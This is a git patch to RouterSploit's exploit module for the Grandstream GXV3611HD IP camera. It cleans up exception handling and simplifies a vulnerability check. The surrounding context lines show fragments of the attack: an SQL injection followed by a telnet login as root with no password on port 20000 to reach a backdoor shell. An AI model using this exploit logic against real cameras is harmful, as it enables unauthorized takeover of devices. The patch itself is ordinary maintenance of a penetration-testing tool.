From b3ec1e82886633a24dd9a437be4ff9c609e83480 Mon Sep 17 00:00:00 2001
From: lucyoa <marcin.bury@reverse-shell.com>
Date: Thu, 2 Feb 2017 20:18:56 -0300
Subject: [PATCH] Fixing exception handling #2

---
 routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py |  9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py b/routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
index 45b99a9..da46b1e 100644
--- a/routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
+++ b/routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py
@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
                 conn.write("quit\r\n")
                 conn.close()
                 print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell")
-            except:
+            except Exception:
                 print_error("Exploit failed. Could not log in.")
 
             try:
@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
                 conn.read_until("# ")
                 print_success("Authenticaiton Successful")
                 conn.interact()
-            except:
+            except Exception:
                 print_error("Failed to log into backdoor.")
         else:
             print_error("Exploit failed. Target does not appear vulnerable")
@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit):
     def check(self):
         try:
             conn = telnetlib.Telnet(self.target, self.port)
-            if 'Grandstream' in conn.read_until("login:"):
-                return True
-        except:
+            return 'Grandstream' in conn.read_until("login:")
+        except Exception:
             return False
--
libgit2 0.26.0